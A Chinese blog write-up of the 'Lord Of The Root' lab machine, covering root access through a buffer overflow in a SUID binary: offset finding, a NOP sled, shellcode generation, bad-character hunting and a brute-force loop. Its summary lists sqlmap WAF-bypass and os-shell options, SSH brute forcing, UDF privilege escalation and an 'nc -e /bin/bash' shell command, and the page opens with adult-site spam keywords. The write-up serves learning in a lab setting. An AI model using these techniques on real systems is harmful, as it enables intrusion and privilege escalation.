最美情侣中文字幕电影,在线麻豆精品传媒,在线网站高清黄,久久黄色视频

歡迎光臨散文網(wǎng) 會員登陸 & 注冊

項目六:Lord Of The Root-1.0.1(下)

2023-07-21 11:56 作者:沙漠里的鯨  | 我要投稿

##靶機緩沖區(qū)溢出提權(quán)

---通過find查找用戶/用戶組具有SUID權(quán)限的文件

----perm -g=s:指定要匹配的文件權(quán)限。-perm表示按照權(quán)限進行匹配,-g=s表示要查找具有設(shè)置了組權(quán)限為"setgid"的文件

----o:用于指定邏輯"或"操作符,將兩個條件連接起來

----perm -u=s:另一個要匹配的文件權(quán)限條件,要查找具有設(shè)置了用戶權(quán)限為"setuid"的文件

---! -type l:用于排除符號鏈接類型的文件,即排除查找到的軟鏈接文件

----maxdepth 3:限制查找的最大深度。這里指定最多查找到目錄的層數(shù)為3

----exec ls -ld {} \;:對于每個匹配的文件,執(zhí)行ls -ld命令來獲取文件的詳細信息

---這里只能查看非管理員用戶用戶目錄下的文件

---一般/usr或者/etc目錄下的文件做了防護,無法緩沖區(qū)溢出提權(quán)(find命令除外)

----本地目錄文件下存在suID權(quán)限的文件,可以進行緩沖區(qū)溢出

---file命令查看文件類型,并提供關(guān)于文件的描述性信息

file /SECRET/door1/file /SECRET/door2/file /SECRET/door3/file

---file命令比較每個文件的哈希值發(fā)現(xiàn),有一個文件的哈希值不一樣

---或者使用du -b查看字節(jié):發(fā)現(xiàn)三個文件大小不一樣

du -b /SECRET/door1/file /SECRET/door2/file /SECRET/door3/file

---進入/SECRET/目錄,ls -lahR 顯示目錄下文件的詳細

  • -l:以長格式顯示文件和目錄的詳細信息,包括權(quán)限、所有者、大小等。

  • -a:顯示所有文件和目錄,包括以 . 開頭的隱藏文件。

  • -h:以人類可讀的格式顯示文件大小,例如使用 KB、MB、GB 等單位。

  • -R遞歸地列出指定目錄下的所有文件和子目錄

---查看ALSR的防護

---這里是2:全隨機

  • 0 = 關(guān)閉

  • 1 = 半隨機:共享庫、棧、mmap() 以及 VDSO 將被隨機化。(留坑,PIE會影響heap的隨機化)

  • 2 = 全隨機,除了1中所述,還有heap,說明存在隨機化?。?!

---其實就算關(guān)閉了ASLR,在root權(quán)限下還執(zhí)行了計劃任務(wù)switcher.py

---每三分鐘變換一次值,還會打亂緩沖區(qū)溢出的“ buf”文件,因此讓緩沖區(qū)溢出難度加大!

---使用ldd命令就可以觀察到程序所依賴動態(tài)加載模塊的地址空間

---在shell中運行兩次相同的ldd命令,即可對比出前后地址的不同之處

---先寫一個調(diào)用sum函數(shù)的1.c,gcc -o編譯成huangbo

---執(zhí)行,發(fā)現(xiàn)每執(zhí)行一次,動態(tài)鏈接庫地址都不同(感謝chatgpt)

  • linux-vdso.so.1 (0x00007ffd89556000):這是一個虛擬的動態(tài)鏈接庫,它提供了對于 Linux 內(nèi)核的系統(tǒng)調(diào)用的訪問。

  • libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fc70fe95000):這是指向 C 庫的符號鏈接,它是許多程序所依賴的核心庫。它的路徑是 /lib/x86_64-linux-gnu/libc.so.6,并且在內(nèi)存中的地址為 0x00007fc70fe95000

  • /lib64/ld-linux-x86-64.so.2 (0x00007fc710093000):這是用于加載和鏈接可執(zhí)行文件和共享庫的動態(tài)鏈接器。它的路徑是 /lib64/ld-linux-x86-64.so.2,并且在內(nèi)存中的地址為 0x00007fc710093000

---繞過ASLR的一種方法是通過編寫一個自動循環(huán)腳本來強制堆棧,接下來要放入payload需要進行nop sled來爆破一個空間出來!(也就是[0,65535]

---每個進程都有自己的4GB的虛擬內(nèi)存空間
----[0000,FFFF]的范圍[0,65535],一共存儲65536Byte內(nèi)存=64kb內(nèi)存(1Byte=8bit,1kb=1024Byte)
---注意:空指針賦值區(qū)64KB禁入?yún)^(qū)一般沒有使用,而內(nèi)核區(qū)是和所有的進程共有的區(qū)域


---緩沖區(qū)溢出函數(shù)示例,strcpy()將直接把str中的內(nèi)容copy到buffer中

---只要str的長度大于16,就會造成buffer的溢出,使程序運行出錯

---存在strcpy這樣的標準函數(shù)還有strcat(),sprintf(),vsprintf(),gets(),scanf()

---緩沖區(qū)溢出必須達到如下的兩個目標:

1. 在程序的地址空間里安排適當?shù)拇a

2. 通過適當?shù)某跏蓟拇嫫骱蛢?nèi)存,讓程序跳轉(zhuǎn)到入侵者安排的地址空間執(zhí)行

---通過ls -alhR查看,發(fā)現(xiàn)5.1K的文件在door3目錄下

---使用base64進行轉(zhuǎn)碼

---復(fù)制粘貼,使用vim保存到kail的base64.txt文件

---md5sum 常常被用來驗證網(wǎng)絡(luò)文件傳輸?shù)耐暾?,防止文件被人篡?br>

---將文本文件轉(zhuǎn)換回可執(zhí)行文件,并且檢驗MD5的校驗和

--- -d 表示從標準輸入讀取內(nèi)容

cat base64.txt | base64 -d > file

---這里發(fā)現(xiàn)MD5的值是一致的,說明文件傳輸完全

---也可以使用file命令對比sha1的哈希值

---這里是緩沖區(qū)溢出的漏洞的堆棧圖

---注意:代碼段和棧幀是相鄰的


#GDB(相當于DTDebug

---The GNU Project Debugger.是Linux下面的一款強大的基于命令行的軟件調(diào)試器

---GDB操作都基于命令行進行,調(diào)試目標主要是帶源代碼的軟件,即進行開發(fā)調(diào)試

---若想要進行逆向工程調(diào)試,則需要GDB插件來提供額外的功能,pwndbg專門針對pwn題調(diào)試添加了額外的功能,先使用以下指令安裝gdb:

---GDB插件介紹:

  • pwndbg:pwndbg (/po?nddb ?g/)是一個GDB插件,使GDB的調(diào)試不那么糟糕,重點關(guān)注低級軟件開發(fā)人員、硬件黑客、逆向工程師和開發(fā)人員需要的特性

  • peda:GDB的Python開發(fā)協(xié)助

  • gef:GEF(發(fā)音為??f -“Jeff”)是一組用于x86/64、ARM、MIPS、PowerPC和SPARC的命令,用于在使用老式GDB時幫助開發(fā)人員和反向工程師

----先裝,因為這個帶有 parseheap、以及 heapinfo 等指令,有的場景下更好用

---把這三個都先下載下來:(Windows下載上傳再解壓也可以)

---pwndbg安裝:sudo ./setup.sh

---安裝插件依賴(指定清華的鏡像源):
sudo pip install keystone-engine ropper keystone-engine -i https://pypi.tuna.tsinghua.edu.cn/simple

---但是這里設(shè)定全局源,就不用每次pip都要-i

pip config set global.index-url https://pypi.tuna.tsinghua.edu.cn/simple

---在Windows主機查看NAT的IP

---這里直接執(zhí)行./setup.sh會失敗,需要掛代理(V2端口10808)

---打開kali虛擬機,編輯ProxyChains配置文件:vi /etc/proxychains.conf

---注意,在v2RayN里面要設(shè)置允許局域網(wǎng)連接

---也可以使用http協(xié)議,為Git配置代理

---git config --global http.proxy http://192.168.95.1:10809

---這里./setup.sh執(zhí)行成功(1.pip換源2.git配置代理)

---在root用戶目錄,將其它插件注釋:vim .gdbinit(使用的時候取消注釋)

#file文件緩沖區(qū)溢出分析

---賦予執(zhí)行權(quán)限并且允許,提示輸入字符串,這里輸入aaaa并沒有回顯

---使用Python3構(gòu)造語句:輸出2000個a:python -c 'print("A" * 200)'

---將Python的輸出,使用$() 將輸出作為字符串值賦給一個變量,或作為命令參數(shù)傳遞給另一個命令:./file $(python -c 'print("A" * 200)')

---這里提示分段錯誤,但是輸入20個沒有報錯,說明存在緩沖區(qū)溢出

#緩沖區(qū)溢出的exp

---使用MSF的pattern_create.rb 工具生成模式字符串,用于在進行滲透測試或漏洞開發(fā)時,幫助定位崩潰點和確定溢出的邊界

----模式字符串(Pattern String)是一種特定格式的字符串,通常具有以下特點

  1. 重復(fù)性:模式字符串會重復(fù)出現(xiàn)相同的模式塊,使得它在內(nèi)存中更易于識別

  2. 唯一性:模式字符串中不同的模式塊使用不同的字符組合,確保每個位置都具有唯一性。

  3. 可預(yù)測性:通過計算模式字符串中某個特定字符或子字符串的位置,可以推斷出內(nèi)存中特定位置的偏移量

---<length> 應(yīng)替換為您希望生成的模式字符串的長度。工具將生成一個特定的模式字符串,并將其輸出到終端

---生成1000個模式字符串:pattern_create.rb -l 1000

---?vim .gdbinit使用peda.py插件

---輸入run +1000個模式字符串,識別緩沖區(qū)溢出的偏移對應(yīng)的隨機字符串:0x41376641

---Segmentation fault 是當一段程序嘗試訪問一段不該被訪問的內(nèi)存地址時,CPU 會報出的錯。EIP 寄存器是用來存儲 CPU 要讀取的指令的地址的,在這個時候我們可以從 gdb 的錯誤信息種發(fā)現(xiàn) EIP 指向 0x41376641(這里個值是模式字符串的值)

---之所以此時 EIP 指向 0x41376641 ,是因為我們傳入的參數(shù)把 EIP 給覆蓋了,使 EIP 指向了一個根本不存在,或者就算存在也不屬于這段程序的地址,所以 CPU 就報錯

--這里可以查看EIP寄存器情況

---我們通過EIP知道模式字符串的值,然后根據(jù)attern_offset.rb反推ebp相對于緩沖區(qū)偏移

--使用/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb

---pattern_offset.rb計算出模式字符串中指定子字符串的偏移量

---在1000個模式字符串中的第171位存在緩沖區(qū)的溢出

---這里的171因該是對應(yīng)的紫色ebp的位置

---而我們需要在171偏移后面,寫入4Byte的shellcode的地址

---接下來需要:1.寫入shellcode到緩沖區(qū) 2.找到shellcode的函數(shù)地址

---這意味著必須提前知道shellcode的實際地址,必須重寫call-adr來存儲shellcode地址

---gdb file 然后構(gòu)建exp:

---這里發(fā)現(xiàn)EBP=AAAA,EIP(也就是call指令的下一行),即將執(zhí)行BBBB函數(shù)地址的代碼

-----0x42424242就是BBBB的ASCII

#空指令

---在匯編語言中,\x90 通常用于表示空指令(NOP,No Operation)??罩噶钍且环N沒有操作的指令,它不執(zhí)行任何實際操作,通常用于填充空間、調(diào)整代碼對齊或在緩沖區(qū)溢出攻擊中提供 NOP 滑動窗口。

---因此,當在匯編語言中看到 \x90,通常意味著在相應(yīng)的位置上插入一個空指令。在執(zhí)行時,空指令將被處理器忽略,不會對程序狀態(tài)或寄存器產(chǎn)生任何影響

#nopsled爆破空間

---由于棧地址在一定范圍的隨機性,攻擊者不能夠知道攻擊代碼注入的地址,而要執(zhí)行攻擊代碼需要將函數(shù)的返回地址更改為攻擊代碼的地址(可通過緩沖區(qū)溢出的方式改寫函數(shù)返回地址)。所以,只能在一定范圍內(nèi)(棧隨機導(dǎo)致攻擊代碼地址一定范圍內(nèi)隨機)枚舉攻擊代碼位置(有依據(jù)的猜)


---nopsled 的目的是提供給漏洞利用者一個可以精確控制的空間,在目標程序中定位有效載荷的起始位置。通過使用 nopsled,漏洞利用者可以在目標程序的內(nèi)存中放置一系列 NOP 指令,然后將有效載荷放在 nopsled 之后

---通過創(chuàng)建一個大的NOP指令數(shù)組并將其放在shellcode之前,如果EIP返回到存儲NOP sled的任意地址(終會執(zhí)行到,比如說上一個函數(shù)的ebp-4

---那么在達到shellcode之前,當 CPU 執(zhí)行 NOP 指令時(call 0x90909090),它會繼續(xù)順序執(zhí)行下一條指令,并將 EIP 自動遞增以指向下一條指令,EIP就會將sled滑向shellcode(注意:這里需要將??臻g和程序執(zhí)行的空間合在一起看)


---構(gòu)建exp,將EBP和call_addr下面的棧填充空指令

---發(fā)現(xiàn)esp被空指令\x90覆蓋了,十六進制為:0x90909090

----這是nop sled的地址開始處,當ESP指向該地址處后,執(zhí)行棧堆空間的payload獲得shell

---這里發(fā)現(xiàn)ESP存儲的值0x90909090(即Nop的地址)

---這是因為:call nop時候,先將nop壓棧,棧頂?shù)闹礒SP變成0x90909090

---然后這里,CPU就會遍歷執(zhí)行call nop的下一條指令,最終執(zhí)行shellcode

---對于shellcode的編寫(gdb安裝peda.py):peda help shellcode

---查看幫助

---查找命令執(zhí)行的shellcode:?? shellcode search exec

---存在170個命令執(zhí)行的shellcode

---顯示ID為841的shellcode的原碼:shellcode display 841

---我這里失敗了

---生成shellcode:shellcode generate x86/linux exec

---十六進制碼大小為 24 字節(jié)的 shellcode

---檢測是否存在緩沖區(qū)溢出的保護機制:

----增加nop sled被訪問機會:可以增加10000....

---將esp的0xffffcb30拆分:ff ff cb 30,

---由于是小端存儲:\x30\xcb\xff\xff,這個地址是nop空間的開始處

---執(zhí)行獲取root權(quán)限

##總結(jié)(原理梳理,前面理論可能存在錯誤,下面是正確的)

---參考文章(寫的真好):https://soptq.me/2019/09/11/buffer-overflow-explained/

---操作系統(tǒng)給每個進程分配了4GB的內(nèi)存,[0000,FFFF]

---注意:空指針賦值區(qū)64KB禁入?yún)^(qū)一般沒有使用,而內(nèi)核區(qū)是和所有的進程共有的區(qū)域

---在用戶模式區(qū)【0001 0000,7FFE FFFF】即用戶層,用來存儲進程的堆棧

---首先,最下面部分存放的是代碼,即程序的源代碼編譯后的代碼,它們是程序的主要指令

---其次,從下往上數(shù)第二部分是用于存儲全局變量的緩沖區(qū)

---再往上就是棧(stack)了,緩沖區(qū)溢出在這里發(fā)生的,存儲局部變量函數(shù)調(diào)用的地方

---最后,也是最上面的一部分,即堆(Heap),這是動態(tài)內(nèi)存分配區(qū)

---上面是Windows的進程空間的結(jié)構(gòu),Linux進程空間類似但是相反

---下圖是 linux x86 系列的內(nèi)存結(jié)構(gòu),最下面是地址 0x00000000最上面是 0xffffffff

---文本代碼段( text ),存儲著程序的匯編代碼,這片區(qū)域是只讀的

---data 存放的是未賦值和賦值過的靜態(tài)變量(全局變量

---heap是堆內(nèi)存,heap 是向上生長的

---stack存儲每個函數(shù)的局部變量,函數(shù)被調(diào)用時數(shù)據(jù)將會被 push 到棧頂,stack向下生長

---舉一個緩存區(qū)的例子,main 里調(diào)用了 func 函數(shù),傳給它一個未知長度的參數(shù) argv[1](注意 argv[0] 保存了程序名)

---在調(diào)用 func 后, argv[1]會作為 name-parameterpushstack 的頂部,當一個函數(shù)具有多個參數(shù)的時候,向 stackpush 的順序是逆序的,比如說我調(diào)用一個函數(shù) foo(1, 2),那么參數(shù) 2 會被第一個 push,接著才 push 第一個參數(shù) 1

----push 完函數(shù)傳入的參數(shù)后,就會接著 push 一個函數(shù)的返回地址( return address ),這個地址是當前函數(shù)運行完成后返回的地方(ebp+4

------整個操作完成后,我們的 stack 被操作成為了下圖這個樣子。最上面是傳入的參數(shù),接著是返回地址,接著是 EBP100-bytes 大小的緩存

---程序被編譯執(zhí)行時,所有指令位于應(yīng)用程序?qū)?yīng)的內(nèi)存空間中,并為它們分配一個地址

---這里的程序指令的部分,應(yīng)該是在緩沖區(qū)溢出的下方(低地址位置)

---這里因該是Linux,Windows在0x80000000之后是內(nèi)核區(qū)域

----雖然 stack 是向下生長的,即從內(nèi)存的高地址區(qū)到低地址區(qū),但是,緩沖區(qū)在被填充的時候卻是向上生長的,即從低地址區(qū)向高地址區(qū)

---向 func 函數(shù)傳入了一個大于 100 位的 name 參數(shù),在復(fù)制 namebuf 的過程中就會先把只有 100 位的 buf 區(qū)域填充完,然后開始填充 buf 后面的區(qū)域,即 EBP ,return address

---我們的目標是傳入一個參數(shù),參數(shù)中有shellcode,把 return address 給覆寫位 shellcode 的內(nèi)存地址,讓 func 程序執(zhí)行完后就返回到 shellcode 執(zhí)行它

---在 Linux 系統(tǒng)中,內(nèi)存地址每次會左右變動一點,所以我們并不能真正確定 shellcode 的位置,NOP-sled 是一種解決方案,假設(shè)shellcode為25Byte

---NOP-sled 是一組 NOP(no-operation) 命令,它的作用是當 CPU 讀取到NOP 指令時,它告訴 CPU:去執(zhí)行下一條命令

---所以如果我們在 shellcode 前面全部加上 NOP ,那么只要 return address 落在了其中的一個 NOP 上,它就會讓 CPU 去執(zhí)行下一條命令,而下一條命令又讓 CPU 去執(zhí)行下下一條命令。就這樣讓 CPU 像做梭梭板一樣一直往下執(zhí)行,直到執(zhí)行到 shellcode 。NOP 的值也許會隨著 CPU 的型號的變化而變化,但在這個例子中我們的 NOP 值為 \x90


---假設(shè)EBP的偏移為112,那么加上return_address是116(Linux都是X86架構(gòu)32位寄存器)

---一共要傳入一個 116 位的參數(shù),shellcode 占了 25 位,我們還剩 91 位,除去 20 位 return address(為什么是20位啊) ,我們還剩 71 位,所以我們的參數(shù)構(gòu)成如下

---四位的 E 我們會在后面替換為內(nèi)存地址(71+25=116)

---參數(shù)傳入 stack 后大概是這樣的,EBP的位置是\xb0\x0b\xcd\x80

------注意:緩沖區(qū)傳參傳參會先填充低地址再到高地址,匯編指令執(zhí)行,是低地址>高地址

---由于內(nèi)存塊大小是4Byte,小端存儲是數(shù)據(jù)低位在地址低位,\xb0先進去所以是在低位

---所以在ebp的存儲:\x80\xcd\x0b\xb0

---這里:EIP='EEEE',這里ebp=0x80cd0bb0,符合之前的猜想

---使用 x/100x $sp-100 查看當前內(nèi)存

---"x/100x":顯示內(nèi)存中指定位置的內(nèi)容,"$sp-100":棧指針(Stack Pointer)減去100

---查看從當前堆棧地址前 100 個內(nèi)存長度位置開始的 100 個內(nèi)存長度的內(nèi)存內(nèi)容

---選取全部是 \x90 的內(nèi)存,這里我選擇 0xffffd1e0 ,填入 EEEE(ebp+4也就是call_adr)

---也可以使用之前的ESP的內(nèi)存地址(注意:是ESP的內(nèi)存地址而不是存儲的值)

---注意:return address 的讀取順序與內(nèi)存地址的讀取順序是不同的,是相反的

---選擇的是地址 0xffffd1e0 那么在填充 return address 的時候要填充 0xe0d1ffff

---大致流程如下:(嗚嗚嗚,總算梳理清楚了)

##方法二

---Linux objdump是一個命令行工具,用于查看和分析Linux二進制文件的內(nèi)容。它可以顯示二進制文件的符號表、段表、重定位表、代碼和數(shù)據(jù)段等信息,還可以反匯編二進制文件的代碼,以便于分析和調(diào)試

---進入目錄,查看反匯編:objdump -d --no-show-raw-insn file

---"-d": 這個選項告訴 objdump 工具顯示反匯編代碼

---"--no-show-raw-insn": 這個選項告訴 objdump 工具不顯示原始的二進制指令(不顯示)

---反匯編如下:

---這里發(fā)現(xiàn)strcpy函數(shù)(復(fù)制),可能存在緩沖區(qū)溢出漏洞

---其實只要是存在1.調(diào)用函數(shù)2.緩沖區(qū)傳參就容易發(fā)生緩沖區(qū)溢出,

  1. strcpy():該函數(shù)用于將一個字符串復(fù)制到另一個字符串緩沖區(qū),但沒有邊界檢查。如果源字符串的長度超過目標緩沖區(qū)的容量,將導(dǎo)致緩沖區(qū)溢出。

  2. gets():該函數(shù)用于從標準輸入讀取字符串,但沒有指定最大輸入長度,因此無法防止輸入超出緩沖區(qū)大小。

  3. scanf():當使用 %s 格式字符串讀取輸入時,scanf() 函數(shù)沒有邊界檢查機制,可能導(dǎo)致緩沖區(qū)溢出。

  4. sprintf()vsprintf():這些函數(shù)用于將格式化的字符串寫入緩沖區(qū),但沒有邊界檢查機制,如果寫入的內(nèi)容超過緩沖區(qū)容量,就會導(dǎo)致溢出。

  5. strcat():該函數(shù)用于將一個字符串追加到另一個字符串后面,但沒有邊界檢查機制。如果目標緩沖區(qū)不夠大,會導(dǎo)致緩沖區(qū)溢出

---使用strings查看file文件的存儲信息,發(fā)現(xiàn)strcpy函數(shù)

---而另外2個目錄下的file文件,雖然具有SUID權(quán)限(其它用戶具有執(zhí)行權(quán)限),但是卻不存在緩沖區(qū)溢出(不存在strcpy()函數(shù))

---進入目錄下對進行file緩沖區(qū)是否存在溢出進行測試:分段錯誤

---在Kail生成1000個隨機字符串

---gdb file輸入:run 1000個隨機字符串,得出分段錯誤

---通過pattern_offset.rb -q 0x41376641發(fā)現(xiàn)ebp的偏移是171

---如果存在溢出,肯定要寫入惡意代碼,那么有沒有寫入的權(quán)限程序,往下查看

---vmmap查看信息? 棧溢出

----vim .gdbinit 修改gbd的配置文件,使用pwngdb.py插件

#Vmmap工具

---內(nèi)存是一個復(fù)雜系統(tǒng),其中paging file,sharable memory,reserve和commit等概念

---使得要算清楚一個進程到底使用了多少內(nèi)存幾乎成了不可能的事情了

---VMMap這個工具,它用兩個緯度將內(nèi)存進行了詳細的劃分

---縱向的緯度,也就是內(nèi)存是從哪里來

---橫向的維護,分別被稱為:

---GDB的常用命令參數(shù)

---查看進程的虛擬內(nèi)存,在call_adr處填充BBBB,EBP=AAAA

r $(python2 -c 'print "A"*171 + "B"*4 + "C"*20')

---查看寄存器可以驗證

---查看虛擬內(nèi)存布局

---棧(STACK)、堆(HEAP)、代碼段(CODE)、數(shù)據(jù)段(DATA全局變量)

---白色的是存放的不可修改的數(shù)據(jù)(程序的靜態(tài)變量)

---黃色的部分:說明說明權(quán)限存在異常

  • "r" 表示可讀(readable),表示該內(nèi)存區(qū)域可以被讀取。

  • "w" 表示可寫(writable),表示該內(nèi)存區(qū)域可以被寫入,即可以修改其中的數(shù)據(jù)。

  • "x" 表示可執(zhí)行(executable),表示該內(nèi)存區(qū)域中的代碼可以被執(zhí)行。

  • "p" 則表示私有(private),指示該內(nèi)存區(qū)域是進程私有的,不與其他進程共享

---"[stack]" 的 "rwxp" 權(quán)限標志表示該棧區(qū)域可讀、可寫、可執(zhí)行,并且是進程私有的,通常用于存儲函數(shù)調(diào)用、局部變量以及其他與函數(shù)調(diào)用和執(zhí)行相關(guān)的數(shù)據(jù)

---so文件可以看成動態(tài)鏈接庫、stack就是棧、/root/file就是模塊

---checksec是用來顯示程序保護機制的開啟情況

  • Arch,很明顯就是程序是多少位的,這里是32位的

  • RELRO,這里是NO RELRO,RELRO的全程是RELocation Read-Only,重定位只讀

  • Stack: 這里是棧溢出保護,保護的機制也暫時先不談

  • NX: 這里是堆棧不可執(zhí)行,也就是堆和棧沒有執(zhí)行權(quán)限,這個也會在后面ret2shellcode那章解釋

  • PIE:地址重定位,開啟了PIE和沒有開啟PIE是兩種不同的難度,而且開啟了PIE會使程序調(diào)試起來比較麻煩


---調(diào)用peda.py插件顯示的更清晰,發(fā)現(xiàn)沒有存在安全保護機制

---在靶機的執(zhí)行g(shù)db file,執(zhí)行文件并且傳參(構(gòu)造的exp)

---發(fā)現(xiàn)ebp和eip分別存儲AAAA和BBBB

#壞字符

---緩沖區(qū)溢出的在生成shellcode時,會影響輸入的字符,比如’n’字符會終止輸入,會截斷輸入導(dǎo)致我們輸入的字符不能完全進入緩沖區(qū)。常見壞字符有x0a、x0b、x00(在內(nèi)存的形式

  1. x0a(換行符 - Newline):在ASCII碼表中,x0a代表換行字符。它用于在文本中換行,但在一些情況下,如果未正確處理,可能導(dǎo)致預(yù)期之外的結(jié)果。例如,在某些操作系統(tǒng)中,換行符可能由"\r\n"表示,而在另一些操作系統(tǒng)中,可能只是"\n"。在進行文件讀取和寫入操作時,應(yīng)該注意這些差異,以避免錯誤。

  2. x0b(垂直制表符 - Vertical Tab):在ASCII碼表中,x0b代表垂直制表符。它在現(xiàn)代計算機和編程中很少使用,但在某些特定情況下,如果未正確處理,可能導(dǎo)致顯示異?;蜃址財嗟?/strong>問題。

  3. x00(空字符 - Null Character):在ASCII碼表中,x00代表空字符,也稱為Null終止符。在C/C++字符串中,Null字符用于表示字符串的結(jié)束,因此在字符串處理時必須特別小心。如果字符串未正確終止,可能導(dǎo)致緩沖區(qū)溢出和字符串處理錯誤

---以下 python 腳本可用于生成從 \x01 到 \xff 的壞字符字符串

---效果如下,我們將通過腳本生成1Byte的壞字符(0-255個)插入call_adr后面

---觀察從哪里截斷了,將階段處的字符再刪掉,從而捕獲壞字符

---這里ebp和eip分別存儲AAAA和BBBB

---我這里提示進程已經(jīng)正常存在

---x/20b $esp 命令會在調(diào)試器中顯示從棧指針 $esp 所指向的內(nèi)存位置開始的20個字節(jié)的內(nèi)容,并以十六進制表示

---:x/n/u/f查看內(nèi)存中的數(shù)據(jù):

---x/256x $esp查看esp開始的256個字節(jié)

---從9開始出現(xiàn)錯誤:即\09是壞字符

---\x0a表示十進制10,對應(yīng)的ASCII為換行符,即'\n'也是壞字符的一種

---在exp里面刪除\x0a和\x09,再次運行程序,查看內(nèi)存,發(fā)現(xiàn)壞字符:\x20

---注意,這里要使用x/256b $esp(使用x的話顯示的是有符號數(shù)的存儲,數(shù)字在內(nèi)存中是以補碼的形式存在,無符號數(shù)的補碼=反碼=原碼)

---但是存在一個問題,為什么這里的esp的位置是是 \x01\x02?

---按照道理傳參的時候,ebp因該是棧頂,我猜測這里是執(zhí)行完shellcode的(或者調(diào)用函數(shù))結(jié)束后,所以esp的位置在原來ebp-8

---把‘\x20’去掉再次嘗試發(fā)現(xiàn)成功

---有符號數(shù)的范圍【-128,0】【1,127】

---總結(jié)壞字符:\x0a?? \x09??? \x20? ,再加個0x00?。J排除空字節(jié)\x00)

#使用MSF生成shellcode(之前是gbp的pedy插件生成的shellcode)

----Windows平臺下的shellcode

---Linux下的shellcode(反彈shell)

---Linux的另外一種shellcode(本地提權(quán)shell)

---總結(jié):msfvenom生成payload的參數(shù)

---這里生成了4種shellcode(這里是編譯后的機器碼)

---注意:每一次執(zhí)行的都是隨機的(不一樣)

---查看是否需要jmp,因為有一些call指令,call了之后,還需要jmp才到達調(diào)用的函數(shù)地址

---這里調(diào)用sum()函數(shù),call ? ? ? ?@ILT+20(HelloWorld) (00401019)

---但是00401019不是sum()函數(shù)的地址

---而是一個jmp指令0040d750(這個地址可以從E9 32 C7 00 00機器碼和當前地址推斷出)

---E9是JMP指令,0x00 00 C7 37(十進制:)是偏移量,小段存儲模式下,數(shù)據(jù)低位在內(nèi)存低位,37在最低位,c7其次,所以存儲為:32 C7 00 00(匯編指令執(zhí)行由低位到高位)

---sum地址=0x00401019+0x0000C737=40 D750

---在0040d750才是sum()函數(shù)的真實地址

---shellcode的利用,可能是通過call_adr > esp直接調(diào)用,也可能是call_adr > jmp >esp

---objdump -D file進行反匯編, -P 啟用正則表達式,查找包含 'jmp' 或 'call' 字符串的行

---這里視頻里面存在錯誤,這里的call都是先分為2步,call > jmp > 函數(shù)地址

---這里存在利用shellcode的2種方式:1.直接call esp 2.call jmp地址 + jmp 偏移

---我認為2種方式都可以,和函數(shù)是否存在Jmp的中轉(zhuǎn)調(diào)用格式無關(guān)

---當然,這

----我這里突然理解的了為什么要找ESP了

---emmm 我之前的理解有誤,現(xiàn)在終于搞懂了

---shellcode的寫入方式存在兩種,即在call_adr前面后面寫入shellcode

---call_adr前面寫入的exp,這里需要的是原ebp的位置

---本文的shellcode是寫在后面,return的是后面的esp

---構(gòu)建的shellcode如下

---注意:在不同主機上運行的程序,函數(shù)地址是不一樣的

---這里ESP的確定,需要在本地的GDB來確定,在靶機gdb file

---采用info registers查看ESP寄存器的值:0xbfde24a0

---由于小段存儲,在call_adr處寫入esp的值: \xa0\x24\xde\xbf

---構(gòu)建可執(zhí)行的bash腳本,每隔1s執(zhí)行一次

---在 /SECRET 目錄下查找大小為 5150 字節(jié)的文件,并將找到的文件名作為命令執(zhí)行

---在/tmp目錄下,寫入1.sh,然后chmod +x并且./1.sh執(zhí)行

---這里有一個問題:為什么要循環(huán)執(zhí)行?

----爆破執(zhí)行成功

---對于需要爆破的思考:

  1. 在同一臺靶機上,同一個文件運行的內(nèi)存地址是一樣的

  2. ALSR開啟,使得內(nèi)存地址隨機化,導(dǎo)致call_adr的地址在一定規(guī)律的變化

  3. ALSR對于call_adr的隨機化存在一定的規(guī)律(或者Linux的隨機是一種偽隨機),亦或者32位的Linux的地址[0-65535],就算是隨機,也可能碰到我們固定的call_adr(esp),進而利用nop雪橇的方式執(zhí)行shellcode

  4. 對于python腳本隨機的問題,通過find命令匹配文件大小來突破

#緩沖區(qū)溢出的問題思考

1、文件會隨機變動到三個文件夾中!
2、python腳本計劃任務(wù)在執(zhí)行隨機變動
3、ALSR開啟了安全保護?? ---繞過是nop? for循環(huán)碰撞
4、checksec安全保護機制沒開啟
5、jmp esp 不需要
6、解決壞字符問題

---衍生出的問題思考

##知識點總結(jié)

---1.knock端口碰撞,順序碰撞指定端口,防火墻打開指定端口(限制IP)

---2.dirb目錄爆破以及robots.txtreadme.html敏感文件查看

---3.前端源代碼 / 圖片隱寫 / 頁面提示信息:查看密文,解密獲取Web登陸目錄

---4.Web登陸目錄(無驗證碼)的弱口令登陸(爆破)/ sqlmap表單注入(-forms)

---5.sqlmap獲取數(shù)據(jù)庫信息:用戶查詢(-users/-passwords/-current-user/-is-dba);數(shù)據(jù)庫查詢(-dbs/ -D name --tables/-D name -T name columns/-D name -T name -C name -dump)

---6.sqlmap繞過WAF:WAF檢測(-identify-waf/check-waf),user-agent檢測繞過(--random-agent),HTTP參數(shù)污染(-hpp ),延時機制(--delay=3.5 -time-sec=60),代理(-proxy IP:端口號),匿名注入(-tor隱藏IP),腳本繞過(-tamper=space2plus.py)

---7.sqlmap命令執(zhí)行:(-os-shell上傳2個腳本,需要知道Web的目錄結(jié)構(gòu)),sql-shell

---8.sqlmap爆破Web(用戶名,密碼),hydra爆破ssh密碼,MSF的ssh_login爆破SSH

---9.Linux信息搜集1:uname -a收集內(nèi)核信息,lsb_release -a收集版本信息,谷歌搜索(推薦)/searchsploit 關(guān)鍵詞查找exp

---10.Linux信息搜集2:linpeas.sh搜索Linux敏感信息(一級黃色,二級紅色),計劃任務(wù)(root+可寫/crontab -l;/etc/crontab;/var/spool/cron/crontab/user_name),sudo權(quán)限(sudo -l),具有SUID權(quán)限的敏感命令(cp/vim/find) ,具有SUID的可執(zhí)行文件(strcpy/strcat/gets/sprintf/vsprintf/scanf),敏感的可寫文件(/etc/passwd;/etc/sudoes),敏感的密碼文件搜集(/etc/passwd;/etc/shadow),Web的目錄配置文件(config)

---11.SQL注入防護:黑名單過濾(stripslash()過濾/),預(yù)處理(占位符),轉(zhuǎn)義,限制用戶輸入的長度和類型

---12UDF提權(quán)信息:dpkg查看版本,ps -aux|grep root|grep mysql查看權(quán)限,查看全局變量secure_file_priv,查看變量plugin的目錄,

---13.MSF的UDF提權(quán):lib_mysqludf_sys,保護的函數(shù)sys_eval/sys_exec/sys_get/sys_set

---14.UDF目錄執(zhí)行:find賦權(quán),nc -nv IP:端口 -e '/bin/bash' ,修改/etc/passwd或者/etc/sudoes

